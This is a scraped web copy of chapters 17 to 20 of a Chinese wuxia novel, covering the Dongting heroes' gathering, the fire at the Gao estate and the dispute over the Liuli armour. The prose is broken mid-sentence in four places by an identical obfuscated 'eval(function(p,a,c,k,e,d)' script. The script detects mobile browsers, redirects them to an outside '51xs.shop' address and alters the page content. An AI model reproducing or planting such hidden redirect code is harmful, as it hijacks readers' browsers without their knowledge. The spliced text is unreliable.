他与高小怜对视一眼,周子舒和温客行佯作不知,一脸茫然。曹蔚宁便问了出来:“也?我听说赵家庄外好像有鬼谷的人作乱,难道是……” 高小怜道:“曹少侠有所不知,前一阵子太湖赵家庄传来消息,说是那在赵家庄做客的断剑山庄穆云歌,便是死在这罗刹掌之下,这鬼谷的恶鬼众,果然作恶多端,还如此嚣张。” 这里离洞庭已经不远,多说也就是一天的路程,隔日便能到,已经可以说是那位高大侠的地盘了,不知这姑娘是真在为了正义义愤填膺,还是因为有人闯了她爹的地盘而不快。 反正邓宽和曹蔚宁是下意识地点头赞同道:“不错。”“正是。” 当年武林大结盟的时候,一共有三块“山河令”,德高望重者持有之,凡有大灾大难方可动用,三块“山河令”凑在一起,便可以召开英雄大会,广招天下豪杰,共同图之。如今这三块“山河令”,一块在“铁判官”高崇手里,一块在少林寺,还有一块,据说在已经多年不问世事的长明山古僧手里。 没想到这回这场所有目标都指向鬼谷的动乱,竟能连那传说中修仙问道不问凡间事的古僧都惊动了。 邓宽和曹蔚宁商量了一下,又征询了其他几人的意见,决定雇一辆马车,要连夜将方不知的尸体送往高崇那里,以防夜长梦多。 曹蔚宁和邓宽颇有缘分,几乎一见如故似的,周子舒冷眼旁观着,觉得那高崇人品如何不说,便是教育徒弟和女儿的功夫,便不错,那高小怜跟在一边,偶尔插言,年纪轻轻的那么个女孩子,言谈举止竟也十分得体,她和顾湘差不多的年纪,可却丝毫不聒噪,也不娇纵,有礼有节。 温客行忽然叹了口气,感慨道:“我家阿湘要是也能有高小姐这样的人品,我便是死也瞑目了。” 高小怜回过头来温文尔雅地对他一笑,说道:“温大哥过奖了。” 周子舒嗤笑一声,低声道:“高小姐是高大侠的女儿么,顾湘……其实也是个好孩子,只是上梁不正下梁歪罢了。” 温客行正色道:“阿絮,高小姐是好,我说句实话而已,不过你也并不要嫉妒吃醋……” 高小怜立刻十分尴尬地看了他们两人一眼,忙紧走几步,追上了邓宽和曹蔚宁,周子舒和温客行便落在了后边。 周子舒轻笑一声,压低声音道:“温兄,在下有一事不明——你说我们进去的时候,为什么那方不知的尸体是衣衫不整的呢?据我所知,那位方兄可不是个日出而作、日落而息的人。” 温客行伸手托起下巴,思量了片刻,问道:“你的意思是,喜丧鬼看上了那方不知,欲与他行那不轨之事,遭到拼死抵抗,不遂,于是怒而杀人?” 言罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450107|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还摇头晃脑地叹气道:“真是自古美人多薄命。” 周子舒面无表情地说道:“温兄真是太有见地了,在下还以为是那凶手是为了方不知身上的什么东西,才杀人搜身的。” 温客行呛了片刻,装模作样地点点头:“也有些道理。” 一偏头,见周子舒正意味深长地看着他。只听周子舒问道:“温兄身上,那日除了少了个荷包,可还少了什么别的东西?” 温客行直视着他的眼睛,坦白地说道:“有,荷包里银钱都在,琉璃甲却不见了。” 周子舒脸上渐渐没了笑容,那双眼睛像是冰水洗过一样,黑沉沉的冷,温客行却好似浑然不觉,依然言笑晏晏。 半晌,周子舒才低声道:“温善人,你不杀伯仁,伯仁却因你而死,这可该怎么说?” 温客行默然,正这当,前边曹蔚宁和邓宽提到了周子舒似乎身体抱恙的事,邓宽才要回头问问他,深夜赶路吃不吃得消,用不用再雇一辆马车,一眼望去,却见这两人之间的气氛有些异常。 温客行脸上没了笑容,周子舒的眼中似乎闪烁着一丝说不清道不明的光芒。邓宽便觉得奇怪,才要出言询问,只见温客行似乎忽然笑了一下,出手如电一般地捏起周子舒的下巴,低头便亲了上去。 邓宽于是目瞪口呆地站了一会,毕竟是大家风范,半晌,才风灯凌乱地转过头去,故作镇定地对同样目瞪口呆的高小怜和曹蔚宁道:“既然……既然如此,我们四人便先行一步,先行一步吧……” 可惜一不留神,竟连人数也数错了。 直到三人头也不敢回地跑远了,周子舒这才挣脱了温客行的钳制,狠狠地在他小腹上打了一拳,脸色冷了下来:“温兄,这玩笑一点也不好笑。” 温客行弯着腰,捂着肚子,脸上还带着那股子看着让人心里略微有些不舒服的笑意,低声道:“我不杀伯仁,伯仁因我而死?阿絮,你弄错了吧?” 周子舒冷冷地盯着他。 温客行慢慢地直起腰来,在半夜一片静谧的大路上,宛如叹息一般地低声道:“琉璃甲中,可能有绝世武功,可能有敌国之宝,谁不想要?” 他无声地弯弯嘴角,眼角却没有笑纹:“那方不知鸡鸣狗盗之徒,做事全凭一己私欲,凡事看上的东西,便连人家的救命钱也不管不顾,出手就拿,他不想要?那喜丧鬼,作恶多端,被逼无奈入了鬼谷,多年来人不人鬼不鬼地活着,他不想要?你不想要么?你嘴里说着积德行善,无非怕下黄泉有那十八重地狱等着审你前世今生做得那些个亏心事,我问你,若有那么个东西,叫你从此天下无敌,不怕半夜三更鬼敲门,你不想要么?” 周子舒极缓极缓地摇摇头,嗤笑道:“我本就不怕半夜三更鬼敲门。” 言罢看也不再看他一眼,转身大步往前走去。 温客行表情晦暗不明地盯着他的背影看了一会,忽然又笑了起来,说道:“周圣人,桂花酿的味道,真是不错。” 周子舒想假装没听见,却还是忍不住抬起袖子,狠狠地擦擦嘴,心里骂道:温客行,你娘的! 18. 第十八章 洞庭 洞庭真是热闹极了,一夕之间,无数的江湖人物涌到了这里,男女老少,三教九流,共同打着一个名号,然后各怀鬼胎,各自为政。 还不过一天,周子舒等人总共在两家酒楼吃过饭,已经围观过三四场冲突械斗了。 周子舒觉得这地方简直就像是个狗市,一个个汪汪乱叫,耍狠斗勇,三天两头因为鸡毛蒜皮大的小事互相咬个一嘴毛,最后也不知这些个英雄好汉会落个什么下场。 邓宽和高小怜先带了几个人去见了高崇。山河令主,天下只有三个,少林乃是武林泰斗,以势而胜,长明山古僧神龙见首不见尾,以武而胜,好像唯有这位高大侠,是真正入世、真正广交各大门派,人路最宽、影响最大的一个。 他倒也不是什么玉树临风潇洒飘逸的大侠,看起来不俊俏,不凶恶,反而是个上了年纪、两鬓斑白、矮矮胖胖的那么一位老人家。说话的时候中气十足,很有精神,笑声特别爽朗。 周子舒一见到他,就明白高崇为什么能有今日的地位了。 每个人身上都有独特的气质,然后人们会自动根据这些看不见摸不着的气质,而物以类聚,人以群分。 比如温客行周子舒一类的人,旁人看来,或许只是个面有菜色歪歪扭扭的痨病鬼叫花子、或者喜好男色油嘴滑舌的小流氓大混混,不见得有一点特色,然而一旦深交起来,敏锐的,就能感觉到这其中微妙的不同了。 无论是周子舒还是温客行,他们或许也能做到混进人堆不引人注目,可到底不属于那个人群,所以自然而然地不去融入,混进去也只是成了不引人注目的背景。 但周子舒会在每次温客行靠近的时候,都下意识地戒备,温客行也能在第一回见面的时候,就警告顾湘不要招惹他。 这是一种本能的,对同类人的辨认。 可高崇身上没有这种特质。 他能和任何人称兄道弟,当他站在别人面前的时候,对方会自动忽略他的身份背景年龄,无论老少,无论是名门正派、还是浪子游侠,都能升起一种,他是个和自己有着同样年龄同样经历的人的亲切感。 周子舒和温客行都不由自主地停止了毫无意义的贫嘴,沉默地观察着这位著名的高大侠,只偶尔开口寒暄,客气地回答一些必要地问题。 周子舒忍不住想,若是天窗也有这样的人才…… 可放眼整个天下,也只有一个高崇。 他们算到得早的,不几日,各大门派的代表陆陆续续地来了,洞庭湖畔成了个认亲大会,每日相见必然是:“哦!这位竟是某某某,久闻大名久闻大名……不敢当不敢当,是,鬼谷之人作恶多端,为祸武林已久,人人得而诛之,我辈自当当戮力同心,为武林正道出头……” 几日停下来,周子舒耳朵里简直要长茧子了,偏他无聊得很的时候,温客行却神出鬼没起来,耳边没有他聒噪,倒还真有些冷清了。 他便穿着高家提供的新袍子一件,漫步目的地在大街上闲逛。显然是沾了曹蔚宁等人的光,周子舒住在高府,日子挺滋润,每日好吃好喝,还总算把他身上那身破衣烂衫换了下去,披了身好衣服,却只是反倒有些不习惯了,粗布麻衣穿久了,竟觉得那锦缎滑溜溜凉飕飕,裹在身上鼻涕似的。 再看自己那双露在外面的枯瘦蜡黄的手掌,同样枯瘦蜡黄的脸,周子舒也只得自嘲地摇头。那快要被七窍三秋钉给抽干了的身体,竟有些撑不起这衣服来了,像个骨头架子摇摇欲坠地勉强顶着一块布,自己都觉得自己这副尊容十分猥琐,偶尔在镜子里看了一眼,便嫌弃得懒得再看第二眼,自觉真是穿上龙袍也不像太子。 心里想道,大概是那温客行一路赶死似的跟着自己只顾走路,没来得及会他那些个会绣兰花手巾男花魁们,实在太饥不择食,才整天跟在自己左右“嗡嗡嗡”地胡说八道。 不是说当上三年兵,眼里老母猪也能赛天仙么?周子舒觉得温客行的状态和那个差不多,不过恐怕这位兄台感兴趣的是老公猪。 这日他独自上了一家酒楼,挑了个靠着窗户的座位,要了几个小菜,一壶黄酒,一边晒太阳一边慢吞吞地喝。 温客行一走进去,就看见了他的背影,不知为什么,他觉得周子舒的背影很特别,那许多人中,他总是能一眼辨认出来。 周子舒的后背并不总是挺直的,大多数时候,他只是懒洋洋的弓起一个无伤大雅的弧度,姿势看起来特别舒服,温客行总觉得他好像心里什么事也没有一样,只看着,就觉得心里特别安静闲适。 他的脚步便情不自禁地顿了一下,表情空白,眼神空洞地盯着周子舒那闲适的背影看了一会,心里忽然升起某种特别的滋味——特别不是滋味。 觉得就像是那人正在用这种无声的姿态,嘲笑着他这明明为各种事奔波、心里压着各种事的人,还非要装出那样一副无所谓的样子似的。 周絮——他想,人如浮萍,身如柳絮。 苍茫世道,三山六水,什么样的人能决然一身,满不在乎地踽踽独行与天地间,什么都不放在心上,什么都不着急呢? 却又不是淡漠——他有喜怒哀乐,可那情绪来得快去得也快,一闪便过去,眨眼之后,好像又什么都不记得了。 温客行深深地吸了口气,垂下眼睛,片刻,脸上重新露出那种看了就让人想拍扁的笑容,溜溜达达地走过去,在周子舒对面坐定,一点也不客气地自己拿了个杯子,从周子舒手里抢过酒壶,满上一杯,浅啜一口,评价道:“这酒,也就算能将就凑合。” 周子舒懒洋洋地瞥了他一眼,叫道:“小二,换壶好酒,招牌菜再来两个,账算在他身上。” 温客行无言地看着他,周子舒轻轻笑了一下,为了表示自己不是铁公鸡,连一口酒都不愿意请他,还特意解释道:“你还欠我三两银子来着,早还清了没利息,合算。” 温客行沉默半晌,只能道:“……多谢。” 周子舒半眯着眼睛笑道:“温兄不用客气。” 温客行看着他那副样子,就忽然特别想找茬调戏调戏他,正这当,周子舒背对着的酒楼门口,忽然有人说道:“我们先在此歇歇脚,用些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450108|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃食,下午再去拜会高兄。” 然后另一个颇为熟悉的声音接道:“是,全凭伯父安排。” 温客行就看到了颇为戏剧性的一幕,他那刚刚还清醒无比、提醒他要算利息的债主,忽然晃了晃,“啪叽”一下“醉”倒在桌子上了,手指头还捏着酒杯不放,脸贴着桌子,面朝窗外,像是挣扎着想起来,又像是怎么都起不来,还瓮声瓮气地来了一句:“没醉……还能再喝一壶……” 周子舒和张成岭走那一路,温客行和顾湘是在后边跟着的,所以虽然周子舒察觉得到,张成岭却并不知情,他那时心神皆伤,无暇他顾,虽在破庙见过温客行一面,却并没有什么印象了。 而周子舒这么一趴,正好张成岭和赵敬等人路过的时候没看见他的样子,也没多加留心,径直路过他们,就上了二楼雅间。 他们上去以后,正巧店小二来端菜上酒,一眼看见,还颇为惊异地问道:“这为客官刚刚不是还挺清醒的么,这么快就醉……” 他还没来得及惊异完,就看见周子舒又没事人似的坐起来了,看都不看下酒菜一眼,便身不动膀不摇地将酒壶接过去了。 店小二目瞪口呆,周子舒挥挥手道:“我刚才不是说了没醉,还能再喝一壶么,我从来不说没谱的话。” 多亏店小二也算见多识广,于是木然地转过身,脚不沾地地走了。 温客行这才笑着压低声音问道:“你怕那小东西?” 周子舒眼皮都不抬,道:“我怕他做什么?” 温客行看着他:“那你躲的是什么?” 周子舒不紧不慢地就着花生米喝酒,含含糊糊地说道:“麻烦,那小鬼一见我就追着叫师父长师父短的,黏人得很,像个丫头似的。” 温客行挑挑眉,又问道:“那你当年救他做什么,还把自己卖了二钱银子?” 周子舒“嘎嘣嘎嘣”地嚼着花生米,半晌,才慢吞吞地道:“看他可怜。” 温客行闻言,默然半晌,忽然从怀里摸出荷包,伸手抓了一点散碎银子,仔细数了半晌,往前一推,说道:“三两二钱,三两还你,多给你二钱,你也卖给我吧,保证以后好吃好喝地养着你,还没人追杀。” 周子舒垂目看了一眼那银光闪闪的碎银子,单手持着酒杯,颇为享受地喝了一口,先将三两推了回去,道:“今日酒钱抵了。” 想了想,又将那二钱也推了回去:“不卖。” 温客行笑眯眯地看不出是什么情绪,问道:“为什么不卖?” 周子舒简单直白地点评道:“看你可恶。” 温客行便像是得了什么夸奖一般,笑起来。 半个月以后,天下英雄云集于洞庭,高崇借了洞庭附近一个大寺院,将此番英雄大会定于此处,又半日,少林寺方丈慈睦大师带弟子数人赶到,带来了第二块山河令。 长明山古僧不负众望地未出现在众人面前,只派了个二十上下,长得十分仙风道骨的徒儿,捎来了最后一块山河令。 就在三块山河令聚齐的当晚,高家庄失火了。 19. 第十九章 火宵 周子舒一过了午夜就无法入眠,正在房中调息,忽然就听见外面惊天动地声嘶力竭的喊声四起。他皱皱眉,直起身,推开窗户,见不少衣衫不整的人从他窗子底下跑过,然后一股子烟火气扑面而来来。 “走水啦!走水啦!” 冷冰冰的夜色里开始弥漫起浓烟,看来失火的地方离他恐怕还不远,周子舒心说,反正这是高家庄,那么多人都在呢,看这烟,便知火虽然不小,也不是不能控制的。他不愿多事,也觉得有些呛人,便要伸手将窗户合上。 忽然一只手伸过来,自然而然地格开他要关窗户的手腕子,还暧昧地在他手背上摸了一把,接着一个人敏捷地从窗外跳进来,对周子舒笑了笑,回身关上窗户。 周子舒上下打量着温客行这不速之客,才要说话,鼻子一痒,就扭过头去打了个结结实实的大喷嚏,很不给面子地皱起眉,往后退了两步,和这位不知刚从哪个胭脂水粉堆里滚了一圈出来的“香饽饽”保持一定距离。 他打眼瞄着这位温大善人,只见他头发未束,用发带粗粗地绑了,虽说不上是衣衫凌乱,可那打开的领口、雪白的衣襟上蹭的一点殷红、衣袖掀动中冒出的呛人的香粉味、还有手腕上暧昧的指甲挠出的痕迹……以及那一脸浪样,简直唯恐别人不知道他去眠花卧柳了。 周子舒忽然下意识地整整襟袖,正襟危坐起来,某种道德上的优越感油然而生,有那么一瞬间,他几乎觉得,跟温客行比起来,自己几乎是个不苟言笑的正人君子了。 温客行一屁股坐在了他的床上,感觉到被子都是冰冷的,显然这房里的主人早就起来了,于是张嘴便说道:“别道貌岸然啦,我说,你深更半夜不睡觉,莫不是寂寞了?也不早说,早说带你一起去了……洞庭,啧,洞庭真是好地方,钟灵毓秀,人杰地灵。” 周子舒轻笑一声,不再装模作样,他也颇有自知之明,别人一本正经,必然就是正经的,他自己一本正经起来,就像是给人解释什么叫做“表里不一”、“道貌岸然”、“满嘴仁义道德,一肚子男盗女娼”似的。 便意有所指地看了温客行一眼,慢吞吞地说道:“温兄出门的时间选得真是巧,你前脚才走,后脚就着火了……” 他一句话还没说完,温客行的脸色忽然铁青起来,怒道:“放屁,我走了好几个时辰了!” 周子舒一愣,没明白他在愤怒什么,便见温客行不怀好意地上上下下打量他一番,脸上怒色褪去,又露出个猥琐笑容:“阿絮这是变着法地说气话么,你把脸上的易容洗了,我便叫你看看……时间长不长。” 言罢还特别意有所指地伸手磨蹭磨蹭自己的嘴唇,又伸出舌头舔了一下嘴角,好像回味着什么似的。 周子舒木然地盯了他一会,木然地把空杯子凑在嘴边作势要喝,倒了半天什么都没倒出来,才发现里面没有一滴水了。温客行饶有兴致地看着他,心里想着,虽然看不见这人真实面孔,但他肯定是脸红了。越想越觉得高兴,然后就忍不住“噗嗤”一声笑出声来。 周子舒咬牙切齿地从嗓子眼里挤出几个字来:“在下敬谢不敏。” 温客行前仰后合地大笑起来。 幸好现在所有人的目光都被失火的地方吸引去了,不然这厮一定会挨拍——有围观人家里着火还笑成这样么?周子舒觉得,“缺德”这个词,简直就是为温客行量身定做的。 于是他站起身来,将散开的头发一拢,转身往外走去,宁可去外面烟熏火燎一番,也好过和某人共处一室。 火势已经基本被压制下来了,着火的是高家的一间客房,基本上这个晚上高家庄所有的活物都被惊动了。高崇正皱着眉,脸色铁青地歪头和邓宽说着什么。 高小怜也在一边,见他出来,便面带忧色地对他点点头,颇有些歉然地说道:“实在对不住,周大哥,没想到出这样的事,扰你清梦了。” 周子舒对她印象颇好,笑了笑,便放轻了声音问道:“可知是哪位的房里走水了?” 话音还没落,便见温客行拎着一件外袍,大喇喇地从他房里走了出来,伸手将袍子拢在周子舒身上,然后下巴抵着他的肩窝,懒洋洋地打了个哈欠,睡眼惺忪似的也对高小怜一笑致意。 高小怜的脸立刻红了,忙非礼勿视地把目光转到一边去,语速极快地说道:“听说是那位张家庄的小公子,不过人没事,他今晚和爹爹还有赵伯伯说话,说得晚了,便歇息在厢房了……” 可怜的姑娘一双眼局促地乱瞟,就瞟见温客行勾着周子舒那腰的胳膊,还有那手腕上的抓痕,于是脸更红了,支吾一声道:“我去爹爹那看看张成岭。” 然后低着头快步跑了。 周子舒这才伸手捏住温客行的手腕,硬生生地将他的手从自己身上摘了下去,骨头发出“嘎拉嘎拉”的声音,十分配合他眼下咬牙切齿的表情。 温客行全无察觉似的笑道:“阿絮,你那小徒弟不是没事么,做什么跟我板着脸?” 周子舒却没放开他的手腕,还拎起来凑到面前仔细打量一番,然后笑了笑,眯起眼睛冷冷地看着温客行,问道:“不知是哪位美人指甲这样厉,给温兄你留了这么个……好看的印子?” 温客行眼睛“刷”一下亮了:“阿絮,你这是要吃醋么?” 周子舒道:“我这是要吃你。” 温客行睁着眼睛愣愣地看了他半晌,简直喜出望外似的,低笑道:“好啊,到房里来,我给你随便吃,吃几回都行。” 竟有人能时时刻刻都这样无耻,周子舒皮笑肉不笑地冷哼一声,将温客行的手腕丢回他怀里,回头望了一眼被一群人包围的张成岭,露出一点深思的神色,随后转身要回房。张成岭的房中不可能无缘无故地起火,这大半夜的,温客行又是去了什么地方?又为什么欲盖弥彰地利用自己在高小怜面前做戏? 这时,温客行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450109|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然极轻极轻地在他身后问了一句:“阿絮,这么长时间以来,我竟从未见过你后半夜睡过觉,你莫不是……” 周子舒瞳孔微缩,虽然面无表情,脚步却还是忍不住一顿。 只听他继续接道:“莫不是独守空闺太过寂寞,辗转反侧夜不能寐……” 周子舒大步往自己房里走去,仿佛温客行嘴里说出来的不是话,而是个屁,将他熏得避之唯恐不及。 温客行笑了笑,没再说下去。他站在原地,远远地看向那短短数月便消瘦下来的张成岭,少年似乎高了一点,一张脸苍白得像是死人一样,紧紧地闭着嘴,眼睛却又黑又亮,显得有些倔强、有些压抑,整个人像是着着一把火,将那就知道哭的小兔子,忽然就烧成了个小狼崽子。 温客行有些相信这小子确实是张家的孩子了。然后他轻轻地笑起来,张开嘴,无声地对着张成岭的方向说道:“要小心啊,小子。” 第二日,温善人忽然发现那自从张成岭来了以后,便不怎么出屋的“周圣人”一早便不见了踪影,屋子里整整齐齐的,像是从没有人住过一样。 周子舒也不知道自己为什么会一大早便暗中跟着张成岭哪小崽子,以防万一,还特意找了张人皮面具,将自己那张已经加工过一次的面皮又盖了一层。 他潜藏在人群里,像是个来去无踪的幽灵,没人注意到这个一身淡色衣衫的陌生人,过目就忘,他从人眼皮子底下走过去,绝不会比一阵风更能引起别人的注意力。 周子舒和张成岭保持着一个不远不近的距离,看着这场所谓的武林盛事,每个人都在表达着自己义愤填膺的立场,而最有资格表达立场的那个孩子,却只是在一边,默不作声地看着这一切。 他的眼睛睁得大大的,真实地映着所有人的嘴脸。周子舒就忽然想起了一个人——那日幽暗可怖的地穴里,他看到的,桃花树下站着的那浓眉大眼的青年。 梁九霄。 恍惚便想起了小时候的事,梁九霄那小兔崽子叫他师兄,就喜欢跟前跟后地碍事绊脚,喋喋不休,从来都没个消停的时候。人又傻乎乎的,教他什么都慢半拍。 那时候周子舒年纪也小,耐心不多,对师父把这小东西丢给自己十分不满意,不耐烦了也没什么好脸色。 他作为大师兄不好发作,得了机会,便拐弯抹角阴阳怪气地刺他几句,可那小子却像是没神经似的,怎么轰都轰不走,还就认准了他。 别人学一次,梁九霄就学两三遍,不懂就来问,问得大师兄不耐烦了,说几句不好听的,梁九霄就听着,等大师兄消气了再接着问。 就像是张家的那个小家伙,属狗皮膏药的,贴上就甩不掉。 可是……谁知道狗皮膏药有一天也能掉了呢?谁又知道,当年风光无限的四季庄主、天窗首领,有朝一日会毫无存在感地站在人群之中,注视着一个十来岁的半大孩子,怀想当年而黯然伤神呢? 20. 第二十章 红衣 老天并没有因为天下英雄齐聚洞庭,便给个好脸色,这天阴沉沉的,好像一场雨就压在半空中,准备随时落下似的,蒸起的湿气打在人脸上,微凉,而落叶已是萧疏。 最值此时,总有黯然伤神者,感叹不知何处旧家乡,三十年,原是大梦一场。 高崇将慈睦大师让到首席,自己居次,周子舒缩在人群里,只听旁边一个少年忽然感叹一声,说道:“若有朝一日,我当如他。” 西楚霸王项羽见始皇帝仪仗,张口便道“彼可取而代也”,光武帝刘秀年幼时,也曾这样痴痴傻傻地感慨过“仕宦当作执金吾,娶妻当如阴丽华”。这世间人海茫茫,哪个不想脱颖而出,轰轰烈烈地做一世英雄呢? 少年正是好韶光,谁不曾这样仰望着某一个影子,咬牙握拳地说一句“若有朝一日,我当如他”? 天下我傍,生杀予夺。 可风光无两了,又怎么样呢? 周子舒师尊早逝,四季庄群龙无首,那担子就那么压在了他这大师兄的肩膀上——可大师兄又能有多大呢?那一年满打满算,他也不过才过十五。 当今皇上十五岁时还在百般隐忍韬光养晦,南宁王十五岁时还在花天酒地地揣着明白当糊涂,就是那眼下叫中原武林传得神乎其神的南疆大巫,十五岁时,也不过是个异乡为质、满腔愤懑却无可奈何的孩子。 于是梁九霄就仿佛成了他唯一的慰藉,相依为命。 可裂痕又是从什么时候开始的呢? 许是当年梁九霄第一次上京,见了那糜烂腌赞的争斗,见了那愈演愈烈的夺嫡,见了手足相残,见了那许许多多他那一心崇拜的大师兄亲手犯下的罪孽,栽赃,嫁祸,甚至残害忠良—— 这时高崇已经站起来,中气十足地对各路英雄声讨鬼谷了。 周子舒微微将眼皮垂下,像是睡着了,一动不动,梁九霄质问过他的言语,一字一字,好多年了,他从未曾忘记过。 “你们又是为了什么?权势?皇位?荣华富贵?” “你这样下去,没有好下场的,醒醒吧!” “师兄,杀人偿命……” 杀人偿命?杀人又何须偿命呢,这世间有的是叫人生不如死的法子——周子舒自嘲似的一笑,心想,九霄啊,其实我们都错了。 正这当,忽然不远处传来轻哼,一个尖锐的声音骤然打断了高崇,也打断了周子舒的思绪,那人声音乍听起来,像个小孩子,音调却阴阳怪气,还微有些嘶哑。高崇的话音里乃是带着内力的,要能打断他的话,可见这人功力也不算浅。 只听他说道:“高大侠,仅凭只言片语,便断定这几起血案是鬼谷做的,恐怕牵强了吧?” 所有人的目光都被吸引到了一处,周子舒眯起眼睛望过去,只见那说话的人身长不足三尺,竟是个侏儒,偏偏骑在一个大汉肩膀上,那大汉仿佛小山一般,周子舒在男人里,便已经算是身量颀长,尚且要仰头才能看见那大汉面容。他面上须发乱作一团,外面只露出一双铜铃似的眼睛,却颇为小心地顶着那侏儒,仿佛担心他坐不稳似的,还用那蒲扇一般大的手轻轻地攥着侏儒的脚腕子。 “地公”封晓峰和他那三脚踹不出一个屁来的高山奴? 鉴于这两位身体特征实在太过明显,一出口,便有不少人已经知道了他们是谁。周子舒眼神闪了闪,心里对这封晓峰倒是没什么恶感,传言这是个亦正亦邪的主儿,做事全凭自己好恶,没什么原则,也不知是不是因为身体的缘故,为人十分偏执,也是个心狠手辣喜怒无常的。 一辈子除了跟他这高山奴形影不离,谁的账也不买。简而言之,是个刺头。 只听封晓峰尖声道:“高大侠说话好没道理,说什么鬼谷‘作恶多端’,青竹岭恶鬼众自然作恶多端,若非如此,也不至于走投无路放着好好的人不当,去当个鬼,可恕我多嘴,那青竹岭鬼谷已经鬼鬼祟祟地存在了不知多少年,鬼谷从来有规矩,有进无出,有来无回,恶鬼们也再不曾到人间做过案子,为何非在此时出来为祸?” 高崇抿起嘴,这一脸平易近人像个弥勒佛一般的大侠不笑的时候,那双眼竟出奇的厉,有种说不出的压迫力,他盯住封晓峰半晌,才缓缓地问道:“原来是封兄弟,那依着封兄弟的意思,又该是怎么样呢?” 封晓峰冷笑道:“封某不用你客客气气地道声兄弟,你嘴上说兄弟,心里肯定骂矮子,何必这么虚伪呢?我封矮子就是听到了一些流言蜚语,特来给各路英雄提个醒,以防各位吃饱了撑的,叫猪油蒙了心,做出什么……没门没面的事。” 周子舒听了两句,便知道传言非虚,这封晓峰是说不上什么大奸大恶,没准还是个性情中人,可就是不招人喜欢,不但不招人喜欢,简直是条疯狗。 听说有人因为当面说了一句“矮子”,便被他割去舌头——别人不客气地叫他,他要翻脸割舌,别人客气一声,他又觉得人家虚伪,简直太难伺候了。 高崇轻轻一皱眉,可毕竟一代名侠,自持身份,不大可能跟封晓峰这条疯狗一般计较,仍是客客气气地问道:“还要请教封大侠是听到了什么传言?” 封晓峰怪鸟似的“桀桀”笑了两声,冷声道:“高崇,你何必装糊涂呢?穆云歌和于天杰怎么样我不知道,可你敢说张玉森和泰山掌门的案子,与琉璃甲无关?” 此言一出,众人中有知情人即刻脸色大变,小声议论四起,周子舒注意到高崇似乎转过头和慈睦大师对视了一眼,表情都颇为凝重——反倒是传说中古僧弟子的那年轻人无动于衷得很,临着高崇而坐,仍旧低着头不知在想什么,一副两耳不听尘间事的大仙儿模样。 张成岭坐在另一边,本是靠着赵敬,闻言偷眼去看赵敬,竟见这位长辈在听见“琉璃甲”三个字之后,脸上徒然裹上了一股子说不清道不明的意味,夹杂着愤恨与深思,竟显得面目有些狰狞起来。 少年到了嘴边的话,便卡在嗓子眼里问不出来了。 这不多的时日,他明白了很多事,从别人的议论和眼神里,张成岭不止一次读到过那种带着轻视的怜悯——是啊,他爹是名震江湖的张玉森张大侠,怎么会有这么个不提气的窝囊儿子呢?他甚至听见过赵府上的仆从偷偷议论,那么多人拼了性命,保住这么个小孩子,可有什么用呢? 文不成武不就,是能指望他给张大侠报仇,还是能指望他重振张家呢? 他们只是把他当成个招牌,无论是谁,说起鬼谷,义愤填膺一番之后,都要指着他来一声,这便是张家遗孤了,孩子,你放心,我们肯定为你父亲和全家讨回公道。 一个无用而可怜的招牌。 张成岭就忍不住思念起那日破庙里萍水相逢的那个,面黄肌瘦又寡言少语的男人,自从那个恐怖的晚上之后,他没有一宿不做噩梦,可他谁也不能说,谁会在乎呢?连赵伯伯都对他说,孩子,你得挺起腰板来,不能怕了那些个魑魅魍魉的鬼东西,大家伙都是站在你这边的,总有一天能给张家报仇。然而再没人搂住他的肩膀,柔声说一句“不碍事,你睡你的,做了噩梦我叫你”。 场面已经乱起来了,封晓峰嘴角兀自带着冷笑,要求高崇就江湖传言的“琉璃甲”给个说法。张成岭低头按了按自己的太阳穴,忽然,一股子暗风袭来,一个小纸团准确无误地打在他手背上,张成岭一怔,眼下也没人注意到他,他便俯下身,将纸团捡起来。 上面只写了一行小字:要真相,跟我来。 张成岭抬头望去,只见一个身着深色衣衫的男人在人群中,正眼睛都不眨一下地望着他,嘴角带着一个说不出的恶意的讥笑,像是笃定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450110|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 